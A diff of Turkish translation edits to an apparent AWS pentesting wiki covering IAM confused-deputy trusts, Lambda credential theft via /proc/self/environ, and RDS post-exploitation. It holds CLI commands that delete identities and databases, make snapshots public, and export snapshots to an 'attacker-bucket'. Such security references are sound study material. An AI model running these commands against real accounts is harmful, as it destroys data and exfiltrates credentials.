> Bir attacker'ın confused deputy'i exploit edebilmesi için, mevcut account'taki principals'ın diğer account'lardaki roles'leri impersonate edip edemeyeceğini bir şekilde bulması gerekir.
> Bir attacker'ın confused deputy'ı exploit etmesi için, mevcut account'un principals'larının diğer account'lardaki roles'leri impersonate edip edemeyeceğini bir şekilde bulması gerekir.
### Beklenmeyen Trusts
### Beklenmeyen Güvenler
#### Principal olarak wildcard
#### Wildcard'ın principal olarak kullanılması
```json
{
"Action": "sts:AssumeRole",
@@ -51,9 +51,9 @@ Ancak, bu `ExternalId` "gizli" değerinin **gerçekte bir sır olmadığını**
"Principal": { "AWS": "*" }
}
```
Bu politika **tüm AWS'nin rolü üstlenmesine izin verir**.
Bu politika **tüm AWS'nin** rolü üstlenmesine izin verir.
#### Hizmet olarak özne
#### Servis principal olarak
```json
{
"Action": "lambda:InvokeFunction",
@@ -62,7 +62,7 @@ Bu politika **tüm AWS'nin rolü üstlenmesine izin verir**.
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
Bu politika **herhangi bir hesabın** apigateway'ini yapılandırıp bu Lambda'yı çağırmasına izin verir.
Bu politika **herhangi bir hesabın** apigateway'ini bu Lambda'yı çağıracak şekilde yapılandırmasına izin verir.
#### S3 principal olarak
```json
@@ -73,7 +73,7 @@ Bu politika **herhangi bir hesabın** apigateway'ini yapılandırıp bu Lambda'y
}
}
```
Eğer bir S3 bucket principal olarak verilmişse — çünkü S3 bucket'ların bir Account ID'si yoktur — eğer siz **bucket'ınızı sildiyseniz ve saldırgan onu kendi hesabında oluşturduysa**, bunu kötüye kullanabilirler.
Eğer bir S3 bucket principal olarak verilmişse — çünkü S3 bucket'ların bir Account ID'si yoktur — eğer siz **bucket'ınızı sildiyseniz ve saldırgan onu kendi hesabında oluşturduysa**, bunu suistimal edebilirler.
#### Desteklenmiyor
```json
@@ -84,10 +84,10 @@ Eğer bir S3 bucket principal olarak verilmişse — çünkü S3 bucket'ların b
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
Confused Deputy sorunlarından kaçınmanın yaygın bir yolu, kaynak ARN'yi kontrol etmek için `AWS:SourceArn` ile bir condition kullanmaktır. Ancak, **bazı servisler bunu desteklemeyebilir** (bazı kaynaklara göre CloudTrail gibi).
Confused Deputy problemlerinden kaçınmanın yaygın bir yolu, kaynağın ARN'sini kontrol etmek için `AWS:SourceArn` içeren bir condition kullanmaktır. Ancak, **bazı servisler bunu desteklemeyebilir** (bazı kaynaklara göre CloudTrail gibi).
### Kimlik Bilgileri Silme
Aşağıdaki izinlerden herhangi biriyle`iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — bir aktör access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates veya CloudFront public keys kaldırabilir veya instance profiles'tan rolleri ayırabilir. Bu tür eylemler meşru kullanıcıları ve uygulamaları hemen engelleyebilir ve bu kimlik bilgilerine bağımlı sistemler için denial-of-service veya erişim kaybına yol açabilir; bu nedenle bu IAM izinleri sıkı şekilde sınırlandırılmalı ve izlenmelidir.
### Kimlik Bilgilerinin Silinmesi
With any of the following permissions`iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — bir aktör access keys, login profilleri, SSH anahtarları, service-specific credentials, instance profiles, sertifikalar veya CloudFront public keys'i silebilir ya da rollerin instance profillerinden ayrılmasına neden olabilir. Bu tür lemler meşru kullanıcıları ve uygulamaları anında engelleyebilir ve bu kimlik bilgilerine bağlı sistemlerde denial-of-service veya erişim kaybına yol açabilir, bu yüzden bu IAM izinleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### Kimlik Silme
`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, veya `iam:RemoveUserFromGroup` gibi izinlerle bir aktör kullanıcıları, rolleri veya grupları silebilir—veya grup üyeliğini değiştirebilir—kimlikleri ve ilişkili izleri kaldırarak. Bu, bu kimliklere bağlı kişiler ve hizmetlerin erişimini hemen kesebilir, denial-of-service veya erişim kaybına neden olabilir; bu yüzden bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` veya `iam:RemoveUserFromGroup` gibi izinlere sahip bir aktör, kullanıcıları, rolleri veya grupları silebilir—veya grup üyeliğini değiştirebilir—kimlikleri ve ilişkili izleri ortadan kaldırır. Bu, bu kimliklere bağımlı kişi ve hizmetlerin erişimini hemen kesebilir; denial-of-service veya erişim kaybına yol açabilir, bu yüzden bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
```bash
# Delete a user
aws iam delete-user \
@@ -115,7 +115,7 @@ aws iam delete-role \
--role-name <Role>
```
###
Aşağıdaki izinlerden herhangi birine sahip bir aktör`iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy`yönetilen/inline politikaları silebilir veya ayırabilir, politika sürümlerini veya izin sınırlarını kaldırabilir ve politikaları kullanıcılar, gruplar veya rollerden bağlantısını kesebilir. Bu, yetkilendirmeleri yok eder ve izin modelini değiştirebilir; bu da bu politikalara bağlı principal'lar için anında erişim kaybına veya hizmet reddine yol açabilir. Bu nedenle bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
Aşağıdaki izinlerden herhangi biri — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy`bir aktörün managed/inline policiesi silebilmesine veya ayırabilmesine, policy versiyonlarını veya permissions boundariesi kaldırabilmesine ve policyleri users, groups veya roles ile ilişkisiz hâle getirebilmesine olanak tanır. Bu, yetkilendirmeleri yok eder ve izin modelini değiştirebilir; bu da söz konusu policylere bağlı principals için anında erişim kaybına veya denial-of-servicee yol açabilir. Bu nedenle bu IAM lemleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
```bash
# Delete a group policy
aws iam delete-group-policy \
@@ -127,8 +127,8 @@ aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### Federated Kimlik Silinmesi
`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` ve `iam:RemoveClientIDFromOpenIDConnectProvider` izinleriyle bir aktör OIDC/SAML kimlik sağlayıcılarını silebilir veya client ID'lerini kaldırabilir. Bu, federasyon tabanlı kimlik doğrulamayı bozar, token doğrulamasını engeller ve IdP veya yapılandırmalar geri yüklenene kadar SSO'ya bağlı kullanıcılar ve servislerin erişimini derhal engeller.
### Federasyonlu Kimlik Silme
`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` ve `iam:RemoveClientIDFromOpenIDConnectProvider` ile bir aktör OIDC/SAML kimlik sağlayıcılarını silebilir veya istemci ID'lerini kaldırabilir. Bu, federasyon tabanlı kimlik doğrulamayı bozarak token doğrulamasını engeller ve IdP veya yapılandırmalar geri yüklenene kadar SSO'ya bağlı kullanıcılar ve hizmetlerin erişimini anında reddeder.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
@@ -139,7 +139,7 @@ aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### Yetkisiz MFA Etkinleştirme
`iam:EnableMFADevice` ile bir aktör, bir kullanıcının kimliğine bir MFA cihazı kaydedebilir ve meşru kullanıcının oturum açmasını engelleyebilir. Yetkisiz bir MFA etkinleştirildiğinde, cihaz kaldırılana veya sıfırlanana kadar kullanıcı kilitlenebilir (Not: birden fazla MFA cihazı kayıtlıysa, oturum açmak için yalnızca biri yeterli olduğundan bu saldırı erişimi engellemede etkili olmayacaktır).
Bir aktör `iam:EnableMFADevice` ile bir kullanıcının kimliğine MFA cihazı kaydedebilir ve böylece meşru kullanıcının oturum açmasını engelleyebilir. Yetkisiz bir MFA etkinleştirildiğinde kullanıcı cihaz kaldırılana veya sıfırlanana kadar kilitlenebilir (not: birden fazla MFA cihazı kayıtlıysa oturum açmak için yalnızca biri yeterlidir, bu yüzden bu saldırı erişimi engelleme açısından etkili olmaz).
```bash
aws iam enable-mfa-device \
--user-name <Username> \
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
--authentication-code1 123456 \
--authentication-code2 789012
```
### Sertifika/Anahtar Meta Verisi Müdahalesi
`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` ile bir aktör, genel anahtarların ve sertifikaların durumunu veya meta verisini değiştirebilir. Anahtarları/sertifikaları devre dışı işaretleyerek veya referanslarını değiştirerek SSH kimlik doğrulamayı bozabilir, X.509/TLS doğrulamalarını geçersiz kılabilir ve bu kimlik bilgilerine bağlı hizmetleri anında aksatarak erişim veya kullanılabilirlik kaybına neden olabilir.
### Sertifika/Anahtar Meta Veri Manipülasyonu
With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, bir aktör açık anahtarların ve sertifikaların durumunu veya meta verilerini değiştirebilir. Anahtarları/sertifikaları devre dışı olarak işaretleyerek veya referansları değiştirerek SSH kimlik doğrulamasını bozabilir, X.509/TLS doğrulamalarını geçersiz kılabilir ve bu kimlik bilgilerine bağımlı hizmetleri anında kesintiye uğratarak erişim veya kullanılabilirlik kaybına neden olabilir.
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
@@ -161,7 +161,7 @@ aws iam update-server-certificate \
```
### `iam:Delete*`
IAM joker karakteri iam:Delete* birçok tür IAM kaynağınıusers, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. — kaldırma yetkisi verir ve bu nedenle çok büyük bir hasar potansiyeline sahiptir: iam:Delete* yetkisi verilen bir aktör kimlikleri, kimlik bilgilerini, politikaları ve ilgili öğeleri kalıcı olarak yok edebilir, denetim/kanıtları kaldırabilir ve hizmet veya operasyonel aksamalara neden olabilir. Bazı örnekler:
IAM wildcard iam:Delete* birçok türde IAM kaynağınıkullanıcılar, roller, gruplar, policies, anahtarlar, sertifikalar, MFA cihazları, policy versions vb. — kaldırma yetkisi verir ve bu nedenle çok geniş bir etki alanına sahiptir: iam:Delete* yetkisi verilen bir aktör kimlikleri, kimlik bilgilerini, policies ve ilgili artefaktları kalıcı olarak yok edebilir, denetim/kanıtları kaldırabilir ve servis veya operasyonel kesintilere neden olabilir. Bazı örnekler şunlardır:
```bash
# Delete a user
aws iam delete-user --user-name <Username>
@@ -174,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
```
### `iam:EnableMFADevice`
iam:EnableMFADevice eylemi verilen bir aktör, kullanıcı zaten etkinleştirmemişse, hesap içindeki bir kimliğe MFA cihazı kaydedebilir. Bu, bir kullanıcının erişimine müdahale etmek için kullanılabilir: saldırgan bir MFA cihazı kaydettikten sonra, meşru kullanıcı saldırgan tarafından kaydedilen MFA'yı kontrol etmediği için oturum açması engellenebilir.
iam:EnableMFADevice yetkisi verilen bir aktör, kullanıcı zaten etkinleştirmemişse hesap içindeki bir kimliğe MFA cihazı kaydedebilir. Bu, bir kullanıcının erişimini etkilemek için kullanılabilir: saldırgan bir MFA cihazı kaydettiğinde, meşru kullanıcı saldırganın kaydettiği MFA'yı kontrol etmediği için oturum açması engellenebilir.
Bu erişimi engelleme saldırısı yalnızca kullanıcıya daha önce hiçbir MFA kaydedilmemişse işe yarar; eğer saldırgan o kullanıcı için bir MFA cihazı kaydederse, meşru kullanıcı bu yeni MFA gerektiren herhangi bir akıştan kilitlenir. Kullanıcının zaten kontrolü altında bir veya daha fazla MFA cihazı varsa, saldırgan kontrollü bir MFA eklemek meşru kullanıcıyı engellemez — kullanıcı zaten sahip olduğu herhangi bir MFA ile kimlik doğrulamaya devam edebilir.
Bu erişim engelleme saldırısı yalnızca kullanıcının önceden MFA kaydı yoksa işe yarar; saldırgan o kullanıcı için bir MFA cihazı kaydederse, meşru kullanıcı o yeni MFA gerektiren akışlardan kilitlenir. Kullanıcının zaten bir veya birden fazla MFA cihazı kendi kontrolündeyse, saldırgan kontrollü bir MFA eklemek meşru kullanıcıyı engellemez — kullanıcı sahip olduğu herhangi bir MFA ile kimlik doğrulamaya devam edebilir.
Bir kullanıcı için MFA cihazını etkinleştirmek (kaydetmek) amacıyla bir saldırgan şunu çalıştırabilir:
Bir kullanıcı için MFA cihazını etkinleştirmek (kaydetmek) üzere saldırgan şunu çalıştırabilir:
```bash
aws iam enable-mfa-device \
--user-name <Username> \
@@ -186,7 +186,7 @@ aws iam enable-mfa-device \
--authentication-code1 123456 \
--authentication-code2 789012
```
## Referanslar
## Kaynaklar
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
@@ -4,7 +4,7 @@
## Lambda
Daha fazla bilgi için bakınız:
For more information check:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,27 +12,27 @@ Daha fazla bilgi için bakınız:
### Exfilrtate Lambda Credentials
Lambda, çalışma zamanında kimlik bilgilerini ortam değişkenleri aracılığıyla enjekte eder. Eğer onlara erişebilirseniz ( `/proc/self/environ` dosyasını okuyarak veya zafiyetli fonksiyonun kendisini kullanarak), bu kimlik bilgilerini kendiniz kullanabilirsiniz. Bu bilgiler varsayılan değişken isimlerinde saklanır: `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, ve `AWS_ACCESS_KEY_ID`.
Lambda, çalışma zamanında kimlik bilgilerini enjekte etmek için ortam değişkenlerini kullanır. Eğer onlara erişebilirseniz (ör. `/proc/self/environ` dosyasını okuyarak veya zafiyetli fonksiyonu kullanarak), bu kimlik bilgilerini kendiniz kullanabilirsiniz. Bu bilgiler varsayılan değişken adlarında bulunur: `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` ve `AWS_ACCESS_KEY_ID`.
Varsayılan olarak, bunların `AWS_LAMBDA_LOG_GROUP_NAME` değişkeninde saklanan isme sahip bir cloudwatch log group'una yazma ve ayrıca yeni log group'lar oluşturma erişimi olur; ancak lambda fonksiyonlarına genellikle kullanım amaçlarına bağlı olarak daha fazla izin atanır.
Varsayılan olarak, bunların bir cloudwatch log group'una yazma (adının `AWS_LAMBDA_LOG_GROUP_NAME` inde saklandığı) ve keyfi log group'lar oluşturma erişimi vardır; ancak lambda fonksiyonlarına genellikle amaçlarına göre daha fazla izin atanır.
### `lambda:Delete*`
lambda:Delete* izni verilen bir saldırgan, Lambda fonksiyonlarını, versions/aliases, layers, event source mappings ve diğer ilişkili yapılandırmaları silebilir.
lambda:Delete* yetkisi verilen bir saldırgan, Lambda functions, versions/aliases, layers, event source mappings ve diğer ilgili yapılandırmaları silebilir.
```bash
aws lambda delete-function \
--function-name <LAMBDA_NAME>
```
### Steal Others Lambda URL Requests
### Diğerlerinin Lambda URL İsteklerini Çalma
Bir saldırgan bir şekilde bir Lambda içinde RCE elde ederse, diğer kullanıcıların Lambda'ya gönderdiği HTTP isteklerini çalabilir. İstekler hassas bilgiler (cookies, credentials...) içeriyorsa, bunları çalabilir.
Bir saldırgan bir şekilde Lambda içinde RCE elde ederse, diğer kullanıcıların Lambda'ya gönderdiği HTTP isteklerini çalabilir. İstekler hassas bilgiler (cookies, credentials...) içeriyorsa, bunları çalabilir.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
### Steal Others Lambda URL Requests & Extensions Requests
### Diğerlerinin Lambda URL İsteklerini ve Extensions İsteklerini Çalma
Lambda Layers'ı kötüye kullanarak extensions'ları da suistimal etmek ve Lambda içinde kalıcılık sağlamak; ayrıca istekleri çalmak ve değiştirmek de mümkündür.
Lambda Layers'ı kötüye kullanarak extensions'ları da kötüye kullanmak, lambda içinde kalıcılık sağlamak ve istekleri çalmak/değiştirmek mümkündür.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -40,7 +40,7 @@ Lambda Layers'ı kötüye kullanarak extensions'ları da suistimal etmek ve Lamb
### AWS Lambda VPC Egress Bypass
Konfigürasyonunu boş bir VpcConfig (SubnetIds=[], SecurityGroupIds=[]) ile güncelleyerek bir Lambda fonksiyonunu kısıtlı bir VPC'den çıkmaya zorlayın. Fonksiyon daha sonra Lambda tarafından yönetilen ağ düzleminde çalışır, çıkış internet erişimini yeniden kazanır ve NAT olmayan özel VPC alt ağları tarafından uygulanan egress kontrollerini atlar.
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
@@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
### AWS Lambda Runtime Pinning/Rollback Abuse
`lambda:PutRuntimeManagementConfig`'i kötüye kullanarak bir fonksiyonu belirli bir runtime sürümüne sabitleyebilir (Manual) veya güncellemeleri dondurabilirsiniz (FunctionUpdate). Bu, kötü amaçlı layers/wrappers ile uyumluluğu korur ve fonksiyonu eski, zafiyetli bir runtime'da tutarak exploitation ve long-term persistence'e yardımcı olabilir.
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
@@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
### AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
`lambda:UpdateFunctionConfiguration`'in gelişmiş logging kontrollerini kötüye kullanarak bir fonksiyonun loglarını saldırganın seçtiği bir CloudWatch Logs log group'una yönlendirebilirsiniz. Bu, kodu veya execution role'ü değiştirmeden işe yarar (çoğu Lambda rolü zaten `AWSLambdaBasicExecutionRole` aracılığıyla `logs:CreateLogGroup/CreateLogStream/PutLogEvents` içerir). Fonksiyon secrets/request bodies yazdırıyorsa veya stack trace ile çökerse, bunları yeni log grubundan toplayabilirsiniz.
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a functions logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
@@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
### AWS - Lambda Function URL Public Exposure
Function URL AuthType'ı NONE olarak değiştirip herkese lambda:InvokeFunctionUrl izni veren resource-based policy ekleyerek özel bir Lambda Function URL'ini herkese açık, kimlik doğrulamasız bir endpoint'e dönüştürebilirsiniz. Bu, iç fonksiyonların anonim olarak çağrılmasına izin verir ve hassas backend operasyonlarını açığa çıkarabilir.
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
{{#ref}}
aws-lambda-function-url-public-exposure.md
@@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
### AWS Lambda Event Source Mapping Target Hijack
`UpdateEventSourceMapping`'i kötüye kullanarak mevcut bir Event Source Mapping (ESM)'in hedef Lambda fonksiyonunu değiştirin; böylece DynamoDB Streams, Kinesis veya SQS'ten gelen kayıtlar saldırgan kontrollü bir fonksiyona teslim edilir. Bu, üreticilere veya orijinal fonksiyon koduna dokunmadan canlı veriyi sessizce saptırır.
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
{{#ref}}
aws-lambda-event-source-mapping-hijack.md
@@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
### AWS Lambda EFS Mount Injection data exfiltration
`lambda:UpdateFunctionConfiguration`'ı kötüye kullanarak mevcut bir EFS Access Point'i Lambda'ya bağlayın, ardından bağlanan yoldaki dosyaları listeleyen/okuyan basit kodu dağıtarak fonksiyonun daha önce erişemediği paylaşılan secrets/config'i exfiltrate edin.
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldnt access.
{{#ref}}
aws-lambda-efs-mount-injection.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için bakınız:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Eğer saldırgan yeterli izne sahipse, DB'nin bir snapshot'ını oluşturarak ve bu snapshot'tan genel erişime açık bir DB oluşturarak **DB'yi genel erişime açık** hale getirebilir.
Eğer saldırgan yeterli izinlere sahipse, DB'nin snapshot'unu oluşturarak ve snapshot'tan **genel erişime açık bir DB** oluşturarak DB'yi genel erişime açık hale getirebilir.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,21 +39,21 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
rds:StopDBCluster veya rds:StopDBInstance yetkisine sahip bir attacker, bir RDS instance'ını veya tüm bir cluster'ı derhal durdurmaya zorlayabilir; bu, veritabanının kullanılamaz hale gelmesine, bağlantıların kopmasına ve veritabanına bağımlı süreçlerin kesintiye uğramasına neden olur.
Bir saldırganın rds:StopDBCluster veya rds:StopDBInstance izinlerine sahip olması, bir RDS örneğinin veya tüm bir kümenin derhal durdurulmasını zorlayabilir; bu da veritabanının kullanılamaz hale gelmesine, bağlantıların kopmasına ve veritabanına bağımlı süreçlerin kesintiye uğramasına neden olur.
Tek bir DB instance'ını durdurmak için (örnek):
Tek bir DB örneğini durdurmak için (örnek):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
Tüm bir DB kümesini durdurmak (örnek):
Tüm bir DB cluster'ı durdurmak için (örnek):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Delete*`
Bir saldırganın rds:Delete* yetkisi verilmişse RDS kaynaklarını kaldırabilir; DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups ve ilgili artefaktları silerek anında hizmet kesintisine, veri kaybına, kurtarma noktalarının yok olmasına ve adli delillerin kaybına neden olur.
rds:Delete* yetkisi verilen bir saldırgan RDS kaynaklarını silebilir DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts — bu da anında hizmet kesintisine, veri kaybına, kurtarma noktalarının yok edilmesine ve adli kanıt kaybına yol açar.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +76,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Bu izinlere sahip bir saldırgan, **bir DB'nin snapshot'ını oluşturabilir** ve bunu **herkese** **açık** hale getirebilir. Sonra, kendi hesabında o snapshot'tan bir DB oluşturabilir.
Bu izinlere sahip bir saldırgan **bir DB'nin snapshot'unu oluşturabilir** ve bunu **herkese** **açık** hale getirebilir. Sonrasında, bu snapshot'tan kendi hesabında bir DB oluşturabilir.
Eğer saldırgan **`rds:CreateDBSnapshot` iznine sahip değilse**, yine de oluşturulmuş **diğer** snapshot'ları **herkese açık** yapabilir.
Eğer saldırgan **`rds:CreateDBSnapshot`'a sahip değilse**, yine de oluşturulmuş **diğer** snapshot'ları **herkese açık** yapabilir.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,7 +89,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Bu izne (`rds:DownloadDBLogFilePortion`) sahip bir saldırgan **download portions of an RDS instance's log files** yapabilir. Eğer hassas veriler veya access credentials kazara loglanmışsa, saldırgan bu bilgileri kullanarak escalate their privileges veya yetkisiz işlemler gerçekleştirebilir.
`rds:DownloadDBLogFilePortion` iznine sahip bir saldırgan **RDS instance'ının log dosyalarının bölümlerini indirebilir**. Hassas veriler veya erişim kimlik bilgileri kazara loglanmışsa, saldırgan bu bilgileri ayrıcalıklarını yükseltmek veya yetkisiz işlemler gerçekleştirmek için kullanabilir.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
@@ -97,37 +97,37 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
### `rds:DeleteDBInstance`
Bu izinlere sahip bir saldırgan **mevcut RDS instance'larına DoS yapabilir**.
Bu izinlere sahip bir saldırgan **mevcut RDS instance'larına DoS** uygulayabilir.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Potansiyel etki**: Mevcut RDS instance'larının silinmesi ve olası veri kaybı.
**Olası etki**: Mevcut RDS örneklerinin silinmesi ve potansiyel veri kaybı.
### `rds:StartExportTask`
> [!NOTE]
> TODO: Test et
> Yapılacak: Test
Bir saldırgan bu izne sahip olduğunda **bir RDS instance snapshot'unu bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrol sahibiyse, dışa aktarılan snapshot içindeki hassas verilere erişebilir.
Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrolü varsa, dışa aktarılan snapshot içindeki hassas verilere erişebilir.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potansiyel etki**: Dışa aktarılan snapshot içindeki hassas verilere erişim.
**Potential impact**: Dışa aktarılmış snapshot içindeki hassas verilere erişim.
### Bölgeler Arası Otomatik Yedek Kopyalama ile Gizli Geri Yükleme (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Gizli Geri Yükleme için Bölge-Ötesi Otomatik Yedeklerin Çoğaltılması (`rds:StartDBInstanceAutomatedBackupsReplication`)
Bölgeler arası otomatik yedek kopyalamayı suistimal ederek bir RDS instance'ının otomatik yedeklerini sessizce başka bir AWS Bölgesi'ne çoğaltıp orada geri yükleyin. Saldırgan, geri yüklenen DB'yi kamuya açık hale getirip master parolayı sıfırlayarak, savunucuların izlemediği bir Bölgede bant dışı olarak verilere erişebilir.
Bölge-ötesi otomatik yedeklerin çoğaltılmasını kötüye kullanarak bir RDS instance'ının otomatik yedeklerini sessizce başka bir AWS Region'a kopyalayın ve orada geri yükleyin. Saldırgan, geri yüklenen DB'yi kamuya açık hale getirebilir ve ana parolayı sıfırlayarak savunucuların izlemediği bir Region'da out-of-band olarak verilere erişebilir.
Gereken izinler (asgari):
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (isteğe bağlı temizlik)
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Etkisi: Üretim verilerinin bir kopyasını başka bir Bölgeye geri yükleyip saldırgan kontrollü kimlik bilgileriyle bunu kamuya açarak kalıcılık ve veri sızdırma.
Impact: Kalıcılık ve üretim verilerinin bir kopyasını başka bir Region'a geri yükleyip saldırgan kontrollü kimlik bilgileriyle kamuya açarak veri sızdırma.
<details>
<summary>Uçtan uca CLI (yer tutucuları değiştirin)</summary>
@@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### DB parameter group'ları aracılığıyla tam SQL kayıtlamayı etkinleştir ve RDS log API'leri ile exfiltrate et
### DB parameter grupları aracılığıyla tam SQL kaydını etkinleştirin ve RDS log API'leri üzerinden veri sızdırın
